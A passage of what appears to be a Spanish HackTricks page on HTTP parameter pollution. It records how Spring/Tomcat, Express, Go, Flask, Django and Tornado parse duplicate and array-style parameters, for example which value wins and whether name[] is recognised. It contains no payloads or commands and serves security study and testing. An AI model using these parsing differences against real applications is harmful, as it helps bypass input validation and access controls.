<figure><img src="../.gitbook/assets/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
1. Utiliza los delimitadores & y ; para dividir parámetros.
2. No reconoce name[].
3. Prefiere el primer parámetro.
### Spring MVC 6.0.23 Y Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
<figure><img src="../.gitbook/assets/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
2. POST RequestMapping & PostMapping reconocen name[].
3. Preferir name si name Y name[] existen.
4. Concatenar parámetros e.g. first,last.
5. POST RequestMapping & PostMapping reconocen parámetros de consulta con Content-Type.
### **NodeJS** 20.17.0 **Y** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
<figure><img src="../.gitbook/assets/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
1. Reconoce name[].
2. Concatenar parámetros e.g. first,last.
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
<figure><img src="../.gitbook/assets/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. NO reconoce name[].
2. Preferir el primer parámetro.
### Python 3.12.6 Y Werkzeug 3.0.4 Y Flask 3.0.3 <a href="#b853" id="b853"></a>
<figure><img src="../.gitbook/assets/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. NO reconoce name[].
2. Preferir el primer parámetro.
### Python 3.12.6 Y Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../.gitbook/assets/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. NO reconoce name[].
2. Preferir el último parámetro.
### Python 3.12.6 Y Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../.gitbook/assets/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. NO reconoce name[].
2. Preferir el último parámetro.
## Referencias
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
* [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}